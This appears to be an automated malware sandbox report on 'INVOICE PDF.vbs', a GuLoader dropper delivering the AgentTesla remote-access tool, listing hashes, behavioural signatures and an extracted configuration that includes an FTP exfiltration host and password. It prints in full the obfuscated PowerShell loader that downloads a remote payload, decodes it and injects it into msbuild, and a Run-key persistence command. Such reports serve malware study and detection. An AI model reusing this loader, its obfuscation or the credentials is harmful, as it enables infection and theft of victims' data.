Analysis
-
max time kernel
145s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
04-12-2023 09:00
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE PDF.vbs
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
INVOICE PDF.vbs
Resource
win10v2004-20231127-en
General
-
Target
INVOICE PDF.vbs
-
Size
55KB
-
MD5
e017a9394fedd56c4a42d2dfe2b4d869
-
SHA1
d05616bdaebb99b9666dd4748cb6ec65222db151
-
SHA256
b27a2ffd8bfdfccbcc957473ac4492c13769913e2892bc41543e5b6bdf3aa2b8
-
SHA512
64aa558244ffeee6e557493e616e3a8729fe41d04b1e177ec6a7c137d822d28cbbcf21efe469107c38a0258a331128d31637608ada971ffc7283bc53a55f929d
-
SSDEEP
1536:9+8+aDJAkChjJsCujxLeiO927WSidDyE1Uituy4tfC95fSx1JFr5rshhf/nKI2Zq:I8+aDJAkChVsCujxLeT9eWSidDyE1UiN
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.mcmprint.net - Port:
21 - Username:
[email protected] - Password:
pK@7[r0Y?XFT
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 3 2744 WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
msbuild.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Allumi% -w 1 $Ngenfret=(Get-ItemProperty -Path 'HKCU:\\Erioglaucine\\').Stentens;%Allumi% ($Ngenfret)" msbuild.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 13 api.ipify.org 14 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msbuild.exepid process 1644 msbuild.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsbuild.exepid process 1672 powershell.exe 1644 msbuild.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1672 set thread context of 1644 1672 powershell.exe msbuild.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exemsbuild.exepid process 876 powershell.exe 1672 powershell.exe 1644 msbuild.exe 1644 msbuild.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1672 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exemsbuild.exedescription pid process Token: SeDebugPrivilege 876 powershell.exe Token: SeDebugPrivilege 1672 powershell.exe Token: SeDebugPrivilege 1644 msbuild.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2744 wrote to memory of 876 2744 WScript.exe powershell.exe PID 2744 wrote to memory of 876 2744 WScript.exe powershell.exe PID 2744 wrote to memory of 876 2744 WScript.exe powershell.exe PID 876 wrote to memory of 1672 876 powershell.exe powershell.exe PID 876 wrote to memory of 1672 876 powershell.exe powershell.exe PID 876 wrote to memory of 1672 876 powershell.exe powershell.exe PID 876 wrote to memory of 1672 876 powershell.exe powershell.exe PID 1672 wrote to memory of 1644 1672 powershell.exe msbuild.exe PID 1672 wrote to memory of 1644 1672 powershell.exe msbuild.exe PID 1672 wrote to memory of 1644 1672 powershell.exe msbuild.exe PID 1672 wrote to memory of 1644 1672 powershell.exe msbuild.exe PID 1672 wrote to memory of 1644 1672 powershell.exe msbuild.exe PID 1672 wrote to memory of 1644 1672 powershell.exe msbuild.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE PDF.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Brazilette9 ($Synkroniskes){$Underdriver = $Synkroniskes.Length-1; For ($Komprimerer=6; $Komprimerer -lt $Underdriver){$Leukotomy111=$Leukotomy111+$Synkroniskes.Substring( $Komprimerer, 1);$Komprimerer+=7;}$Leukotomy111;}$Crumping=Brazilette9 'Demiadh CapittSnurretUnknowpGedunk:slavof/energi/solosptPtychohPersoneDiscipiPontvol MineroSheepsvFlyvereFlagelmSerahuetensimpRejnfaoRabarbdListesc MoonsaCamoufsCasuarttilsku.SkamlicUnderso Veget.frarveuPartikkRegell/UdbenewDermatp Polit-auspiciSupersn InsidcBibasilMannifu Brndedtujaere MrkbasPyriti/KakofoiTvrfagmSemitraAlimengLaundre Curvis Frihj/SporarP YipeuaForklas Wethet inclueKodegebBrnebaoStrandaEndemor BeylidNonell.Nyoriem PaakrsBariauoOculis ';$Leukotomy11101=Brazilette9 'tewhitiSkppesePrelauxladtfo ';$Necrobiosis248 = Brazilette9 'Prevai\CroisssTinetaySendalsIndvelwSprognoTrilobw sleut6 Smrsy4Eliqua\UnmincWprisnii PetunnBegaaedProgenoPetrarwSkyndestrichoP InadeoNonconwSensuseViagrarIdeligSBanisthOdenseeTransmlSniglblIndivi\Noninhv Hoplo1 Hotch. Nosta0Madocb\Madelip AdiasoGgepulwUraeuseTobaksrAerophsWesterhhuusfle MozeslBortellNonset.sportse Legehx Mentae Natti ';. ($Leukotomy11101) (Brazilette9 'Lskeiv$AxialiAPascalnBalanotSirtsiiDeciducMyoneuoOinolonPappess smaautMydaidiTroldstinkensupaavirt Enteri ConveoLgpatrn KainsaYdelselMesiollVrisseyanmodn2quipso= hovmo$RunoloeSchistnUbefrdvHostil:NonstywEuploiiAndropnordured klikki HidrarApartn ') ;& ($Leukotomy11101) (Brazilette9 ' Aeroh$AlfsfoNryknineMichaecSideblrBisammo ExtrabMonobaiGlycoso reconsStyrboihagercsTyphab2Pteryl4Seddel8unapol=Mallie$HolotoAtaturin MelletAutothiSquibbcKontofononpron SoddesInnovatSkmbiliLandgatDrankeuHjertetCrepeii PsychoZionisn SejenaFlsentlEngelslprograyPropri2Salgsf+Forkle$AnklagN SkbneeBenotecXctlborOpenino PluffbFlippeiRhodopoDrenges StenbiPhlebes Skumm2 Delti4Overth8Streek ') ;. ($Leukotomy11101) (Brazilette9 'Dissat$honestJNondefrVizierg UnconePsykopnSpndkrsRadiereMarkisnsuccessAntire Oppisk=sprdst Grovfo(Datade( Drslgg RegeawKeyboamSummeriwrawlw DeporwAinosiiPhotornAandss3Uhvisk2Detaxm_centrapBlubbirUndervoPerugicStilkje Skulls slagtsHrtaut Subsk- KetchFvaaseu MinivePNonedurProfiloBrndofcSviptueGlucossOversoskataloIStjaaldScissi=idiopl$Repack{LejevrPInterlIIntercDBillet}Pladsh) Misot.ExaminCEgnsploUnrecumFaaszimUdkrysatrowsgnPortiod RaastLBrnehaiPaalannSluttiePatoss)Cascan Stafyl-Degusts NuderpLgebgelRundriiBanemntThyris Kiksen[CloacacAgendeh ByzonaRenovar Swizz]constr3Attrib4Kontor ');& ($Leukotomy11101) (Brazilette9 'Troche$GadenaSFasthop FingeeOfficicBermmeiDeistiaFascinl Tilbao Unwilr SkulpdAnlbesb fagotoElasmog WinfueBeklagn Misbrs Lexic Archh=Terete Nedryk$ CoherJUndercrTrkensgFadereeCosponnFreehasCarsoneTempernOpalessLerdue[Skrmha$ WeareJVerdenrTaarevg affaleMaytimnSalamosSpexeneSlvsnonForskesStrikm. PackacNonrato TurnsuInweednLkkelytNondet-Stigma2Begave]Cizarp ');& ($Leukotomy11101) (Brazilette9 'Outfab$ AflurASubchotSketfitResyntiFrydesdRingin1 Overl8Misspa9Anathe= Mutes(KomparT Lyntoe gateksGastratabsolu-AnklagPhusarraTeutontSneakihFerskv Coroni$PrjudiN SawfleManicocUddannrHoffmao Jicaqb HispiiDrunkeo terrasEstimeiGeostrs Mongo2Persua4Optati8Tutter)Baghaa Vandvr-styredAEnergenFalsesdDigtni Behan(Disope[BehandI TransnKrimintDisconPfaquirtFysikkrElefan]Polygo:Gummer: PotgusAlmousiUnaspizBelysnecollat Autogr- SabiaeHjtideq basin Omklam8tinpes)Naille ') ;if ($Attid189) {& $Necrobiosis248 $Specialordbogens;} else {;$Leukotomy11100=Brazilette9 'DermatSBoblertHavegra HybrirMadhoutGlyoxy-SmitteBkonkuriParacotmetamosAllophTAgglutrTekoppaLandspn Udbeds OutthfNaturfeCharmir Penna Variab-ClassiSIsochloHalvbruKeroserInsulacConfine Outst Snnike$AlbertCIndebrrKasuisuShopkemUnraispheftili RoleonSkemalgStnkpr contra-MullocDTranlaeBarnacsEpikurt KonceiRepresnHidhoeaChargetLandbriCounteoSkvaddn Insta Donse$ColumbAUsetmenInamortMaldeviEtniskcAtomizoAflaegnPlnernsDeniabtAusculiErhervt VoteruWatermtefterfiRedrago RemornSystemaStaalolChilesl upspeyChurro2 Frdig ';& ($Leukotomy11101) (Brazilette9 'Deflec$SurerfA disponFeltintOmdiriiRekalkc UnfeloAnglomnIdolissManagetClonaniPikkestStopuru PapyrtBoorisiBegreboDormpenAnisogaTrovrdlAntydnlDistilyDatain2Reakti=Brdbag$DommereGeniosn ImmunvUmorso:MarmoraLarisapSkrivepsprgcidTurbopaMichlatHorsefaIndkap ') ;. ($Leukotomy11101) (Brazilette9 'DrammeIKotelemAdsercpForfreo Entrerweighst Arter-AfladeMChloraoNabostdBrushau AndenlTraileesquawm TraverBrendeniCommontVenstrs ForsiTHoggierPlanetaRagtimnAtmosfs Fotogf AcariePostekrDaaseo ') ;$Anticonstitutionally2=$Anticonstitutionally2+'\Patinerendes.Jag';while (-not $Cloverlay) {. ($Leukotomy11101) (Brazilette9 'Folkmo$JodensCSelvrelSlammeoBjlkehvKleabreGgeledrCooleyl KochfaGeneraySukker=Acrido( PensiT Neotre ParlasRhebostSnegla- GlottPzardmmaAwfulltTilproh Reali Gobli$ForhinAUnleasnAnvendt blaasi IncomcSolvenoTegnfonKlarlas GalpetFjerkri GrosgtSlgernuPinkostAnskafiIridesoShrewln LinjeaSlyngelferskvlAnaskeyBetime2Hasted) Genne ') ;& ($Leukotomy11101) $Leukotomy11100;& ($Leukotomy11101) (Brazilette9 'ConverS TouchtRkenviaintermrBrdskrtWhines- IrratSSlovaklMortice DeleteOutpoipSandsy Bambus5Lamask ');}. ($Leukotomy11101) (Brazilette9 'svulst$TyrannBHaarburTolvtaaZorillz ForyniServerlfukssveKangantTwittetBonevoeSafrol Peter=Hyleri NikolG OvenseNonschtAdkoms-BimorpCNaturforrelsencowboytRightheNdlsninManueltDirren plain$ StenbAForbannArtocatCentrai AnvencDetailo ParisnEmancis MoskytpavansiNektontHelsecujingkotTongakiTittenoShambrnBrainsaUreterlDovefolFramelyBetsos2 Nedga ');. ($Leukotomy11101) (Brazilette9 'Tisken$WoodenUUsualunHachurd LithoeOverstr OppostVincenrSocialaFecundaReidjudForsrgeHistocnafskibe BloopsGreige Thysan=Forskn Satura[ FungeSInterpyUnderesForhertJubilaeSnippem Crose.SlagteCGrnjoroRelocanComplevNounize perimrOpgangt Picar]pejles:Dambru:SektioFMemecor pseudoEnderimMammaxB KonteaSlipfos paraneStockd6Achrom4callecS Grimat Facetr SypigiRentetnGarryagmeddel(Roekam$DrawbaBIannedrSociopaOverstzPhotosi SolidlpresseeAngaritIndhugtRosakeeselska) Appre ');& ($Leukotomy11101) (Brazilette9 'Satura$PavekrL Cranie Opskru Nonrok Taktmo UsagltWaferwoHaardemLoftetyEmanat1Tungtv1scrapp1nonspi2 Brand Linctu=Nydann Momspo[SmallbStherewyconcipsSkrfertacetoaeMicrotmOverim.SkyfriTForesheprintexBedeadtBumpsu.TigerkE SejrsnProtoccBugeyeoIndvandReverbiInartinmalthegEuroch]Tourne:Skovgr:SubsalA VsentSMotorgChideruIIndkomI Dusse.FleminGbeseemeStonistMonoclS SkulptZooenkr TermiiTurnvgnMedicagClimat(Endemo$NeddmpU PillenFingerdTvebope Ornitr VanmdtFilmgerBrikssaFrembdaBestikdPlatypeUnderdn FaareeTelefos Endea)Skinne ');. ($Leukotomy11101) (Brazilette9 'Megilp$DysphoFMargenr RutefeFedtloeDropvilUnboldaRadiosnResenscBedheaeUdstils Vurde= Firel$FicklyLErkende AdganuRegentk GearkoUdbedrtWekaueoBerthamludderyfantas1Stabil1 Asept1 Stali2Offerv.ImpeopsapostauNonsusbKanylesTidsprtPreaccrSmitteiMollusnSplenogZinkko( Serie2Brystn9 Cycad2Boligp5Tuesda4 Kommo9vrides, Culve2Frdigb7 Udsvi1 Stnin5 Unplu8Forsgs)Privat ');. ($Leukotomy11101) $Freelances;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Brazilette9 ($Synkroniskes){$Underdriver = $Synkroniskes.Length-1; For ($Komprimerer=6; $Komprimerer -lt $Underdriver){$Leukotomy111=$Leukotomy111+$Synkroniskes.Substring( $Komprimerer, 1);$Komprimerer+=7;}$Leukotomy111;}$Crumping=Brazilette9 'Demiadh CapittSnurretUnknowpGedunk:slavof/energi/solosptPtychohPersoneDiscipiPontvol MineroSheepsvFlyvereFlagelmSerahuetensimpRejnfaoRabarbdListesc MoonsaCamoufsCasuarttilsku.SkamlicUnderso Veget.frarveuPartikkRegell/UdbenewDermatp Polit-auspiciSupersn InsidcBibasilMannifu Brndedtujaere MrkbasPyriti/KakofoiTvrfagmSemitraAlimengLaundre Curvis Frihj/SporarP YipeuaForklas Wethet inclueKodegebBrnebaoStrandaEndemor BeylidNonell.Nyoriem PaakrsBariauoOculis ';$Leukotomy11101=Brazilette9 'tewhitiSkppesePrelauxladtfo ';$Necrobiosis248 = Brazilette9 'Prevai\CroisssTinetaySendalsIndvelwSprognoTrilobw sleut6 Smrsy4Eliqua\UnmincWprisnii PetunnBegaaedProgenoPetrarwSkyndestrichoP InadeoNonconwSensuseViagrarIdeligSBanisthOdenseeTransmlSniglblIndivi\Noninhv Hoplo1 Hotch. Nosta0Madocb\Madelip AdiasoGgepulwUraeuseTobaksrAerophsWesterhhuusfle MozeslBortellNonset.sportse Legehx Mentae Natti ';. ($Leukotomy11101) (Brazilette9 'Lskeiv$AxialiAPascalnBalanotSirtsiiDeciducMyoneuoOinolonPappess smaautMydaidiTroldstinkensupaavirt Enteri ConveoLgpatrn KainsaYdelselMesiollVrisseyanmodn2quipso= hovmo$RunoloeSchistnUbefrdvHostil:NonstywEuploiiAndropnordured klikki HidrarApartn ') ;& ($Leukotomy11101) (Brazilette9 ' Aeroh$AlfsfoNryknineMichaecSideblrBisammo ExtrabMonobaiGlycoso reconsStyrboihagercsTyphab2Pteryl4Seddel8unapol=Mallie$HolotoAtaturin MelletAutothiSquibbcKontofononpron SoddesInnovatSkmbiliLandgatDrankeuHjertetCrepeii PsychoZionisn SejenaFlsentlEngelslprograyPropri2Salgsf+Forkle$AnklagN SkbneeBenotecXctlborOpenino PluffbFlippeiRhodopoDrenges StenbiPhlebes Skumm2 Delti4Overth8Streek ') ;. ($Leukotomy11101) (Brazilette9 'Dissat$honestJNondefrVizierg UnconePsykopnSpndkrsRadiereMarkisnsuccessAntire Oppisk=sprdst Grovfo(Datade( Drslgg RegeawKeyboamSummeriwrawlw DeporwAinosiiPhotornAandss3Uhvisk2Detaxm_centrapBlubbirUndervoPerugicStilkje Skulls slagtsHrtaut Subsk- KetchFvaaseu MinivePNonedurProfiloBrndofcSviptueGlucossOversoskataloIStjaaldScissi=idiopl$Repack{LejevrPInterlIIntercDBillet}Pladsh) Misot.ExaminCEgnsploUnrecumFaaszimUdkrysatrowsgnPortiod RaastLBrnehaiPaalannSluttiePatoss)Cascan Stafyl-Degusts NuderpLgebgelRundriiBanemntThyris Kiksen[CloacacAgendeh ByzonaRenovar Swizz]constr3Attrib4Kontor ');& ($Leukotomy11101) (Brazilette9 'Troche$GadenaSFasthop FingeeOfficicBermmeiDeistiaFascinl Tilbao Unwilr SkulpdAnlbesb fagotoElasmog WinfueBeklagn Misbrs Lexic Archh=Terete Nedryk$ CoherJUndercrTrkensgFadereeCosponnFreehasCarsoneTempernOpalessLerdue[Skrmha$ WeareJVerdenrTaarevg affaleMaytimnSalamosSpexeneSlvsnonForskesStrikm. PackacNonrato TurnsuInweednLkkelytNondet-Stigma2Begave]Cizarp ');& ($Leukotomy11101) (Brazilette9 'Outfab$ AflurASubchotSketfitResyntiFrydesdRingin1 Overl8Misspa9Anathe= Mutes(KomparT Lyntoe gateksGastratabsolu-AnklagPhusarraTeutontSneakihFerskv Coroni$PrjudiN SawfleManicocUddannrHoffmao Jicaqb HispiiDrunkeo terrasEstimeiGeostrs Mongo2Persua4Optati8Tutter)Baghaa Vandvr-styredAEnergenFalsesdDigtni Behan(Disope[BehandI TransnKrimintDisconPfaquirtFysikkrElefan]Polygo:Gummer: PotgusAlmousiUnaspizBelysnecollat Autogr- SabiaeHjtideq basin Omklam8tinpes)Naille ') ;if ($Attid189) {& $Necrobiosis248 $Specialordbogens;} else {;$Leukotomy11100=Brazilette9 'DermatSBoblertHavegra HybrirMadhoutGlyoxy-SmitteBkonkuriParacotmetamosAllophTAgglutrTekoppaLandspn Udbeds OutthfNaturfeCharmir Penna Variab-ClassiSIsochloHalvbruKeroserInsulacConfine Outst Snnike$AlbertCIndebrrKasuisuShopkemUnraispheftili RoleonSkemalgStnkpr contra-MullocDTranlaeBarnacsEpikurt KonceiRepresnHidhoeaChargetLandbriCounteoSkvaddn Insta Donse$ColumbAUsetmenInamortMaldeviEtniskcAtomizoAflaegnPlnernsDeniabtAusculiErhervt VoteruWatermtefterfiRedrago RemornSystemaStaalolChilesl upspeyChurro2 Frdig ';& ($Leukotomy11101) (Brazilette9 'Deflec$SurerfA disponFeltintOmdiriiRekalkc UnfeloAnglomnIdolissManagetClonaniPikkestStopuru PapyrtBoorisiBegreboDormpenAnisogaTrovrdlAntydnlDistilyDatain2Reakti=Brdbag$DommereGeniosn ImmunvUmorso:MarmoraLarisapSkrivepsprgcidTurbopaMichlatHorsefaIndkap ') ;. ($Leukotomy11101) (Brazilette9 'DrammeIKotelemAdsercpForfreo Entrerweighst Arter-AfladeMChloraoNabostdBrushau AndenlTraileesquawm TraverBrendeniCommontVenstrs ForsiTHoggierPlanetaRagtimnAtmosfs Fotogf AcariePostekrDaaseo ') ;$Anticonstitutionally2=$Anticonstitutionally2+'\Patinerendes.Jag';while (-not $Cloverlay) {. ($Leukotomy11101) (Brazilette9 'Folkmo$JodensCSelvrelSlammeoBjlkehvKleabreGgeledrCooleyl KochfaGeneraySukker=Acrido( PensiT Neotre ParlasRhebostSnegla- GlottPzardmmaAwfulltTilproh Reali Gobli$ForhinAUnleasnAnvendt blaasi IncomcSolvenoTegnfonKlarlas GalpetFjerkri GrosgtSlgernuPinkostAnskafiIridesoShrewln LinjeaSlyngelferskvlAnaskeyBetime2Hasted) Genne ') ;& ($Leukotomy11101) $Leukotomy11100;& ($Leukotomy11101) (Brazilette9 'ConverS TouchtRkenviaintermrBrdskrtWhines- IrratSSlovaklMortice DeleteOutpoipSandsy Bambus5Lamask ');}. ($Leukotomy11101) (Brazilette9 'svulst$TyrannBHaarburTolvtaaZorillz ForyniServerlfukssveKangantTwittetBonevoeSafrol Peter=Hyleri NikolG OvenseNonschtAdkoms-BimorpCNaturforrelsencowboytRightheNdlsninManueltDirren plain$ StenbAForbannArtocatCentrai AnvencDetailo ParisnEmancis MoskytpavansiNektontHelsecujingkotTongakiTittenoShambrnBrainsaUreterlDovefolFramelyBetsos2 Nedga ');. ($Leukotomy11101) (Brazilette9 'Tisken$WoodenUUsualunHachurd LithoeOverstr OppostVincenrSocialaFecundaReidjudForsrgeHistocnafskibe BloopsGreige Thysan=Forskn Satura[ FungeSInterpyUnderesForhertJubilaeSnippem Crose.SlagteCGrnjoroRelocanComplevNounize perimrOpgangt Picar]pejles:Dambru:SektioFMemecor pseudoEnderimMammaxB KonteaSlipfos paraneStockd6Achrom4callecS Grimat Facetr SypigiRentetnGarryagmeddel(Roekam$DrawbaBIannedrSociopaOverstzPhotosi SolidlpresseeAngaritIndhugtRosakeeselska) Appre ');& ($Leukotomy11101) (Brazilette9 'Satura$PavekrL Cranie Opskru Nonrok Taktmo UsagltWaferwoHaardemLoftetyEmanat1Tungtv1scrapp1nonspi2 Brand Linctu=Nydann Momspo[SmallbStherewyconcipsSkrfertacetoaeMicrotmOverim.SkyfriTForesheprintexBedeadtBumpsu.TigerkE SejrsnProtoccBugeyeoIndvandReverbiInartinmalthegEuroch]Tourne:Skovgr:SubsalA VsentSMotorgChideruIIndkomI Dusse.FleminGbeseemeStonistMonoclS SkulptZooenkr TermiiTurnvgnMedicagClimat(Endemo$NeddmpU PillenFingerdTvebope Ornitr VanmdtFilmgerBrikssaFrembdaBestikdPlatypeUnderdn FaareeTelefos Endea)Skinne ');. ($Leukotomy11101) (Brazilette9 'Megilp$DysphoFMargenr RutefeFedtloeDropvilUnboldaRadiosnResenscBedheaeUdstils Vurde= Firel$FicklyLErkende AdganuRegentk GearkoUdbedrtWekaueoBerthamludderyfantas1Stabil1 Asept1 Stali2Offerv.ImpeopsapostauNonsusbKanylesTidsprtPreaccrSmitteiMollusnSplenogZinkko( Serie2Brystn9 Cycad2Boligp5Tuesda4 Kommo9vrides, Culve2Frdigb7 Udsvi1 Stnin5 Unplu8Forsgs)Privat ');. ($Leukotomy11101) $Freelances;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5982a5f92cfd0a8a6cf0f7b5a27ffd214
SHA11adae75ade47d27bd8fe5e4b852ff48dfe468595
SHA256142778395effbe53c21693a8b7ad60cac7aefb97f705332af38810558e1f45a2
SHA51284043987e4f1fe9e287b68cedc276cde757331372a92dfa1618f00a6cb5c01b539b25ba3246dc7da97e2e2ba73eb4241e78cff6e56e56dc8e48db098cf04f4f0
-
Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
-
Filesize
163KB
MD59441737383d21192400eca82fda910ec
SHA1725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA5127608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
-
Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KK5ANRS3L33VH2U94SUJ.temp
Filesize7KB
MD568f044be03d1b17a7bcfab56faa25de8
SHA154e958cf61acd65da74f7aab2e2ddbb4fb83afee
SHA256828dbb21758a5c0018310465bf6f2281d9709e261b53fcc96b49e1277f947e65
SHA5120d7d38ab9184d2c9bee58dce434665838cd733ea1765621e992cea89671aab4e2d0ac80ff5d7223fa0d7f13f76706aec5a45e5a616c718f5400308888e6d7a44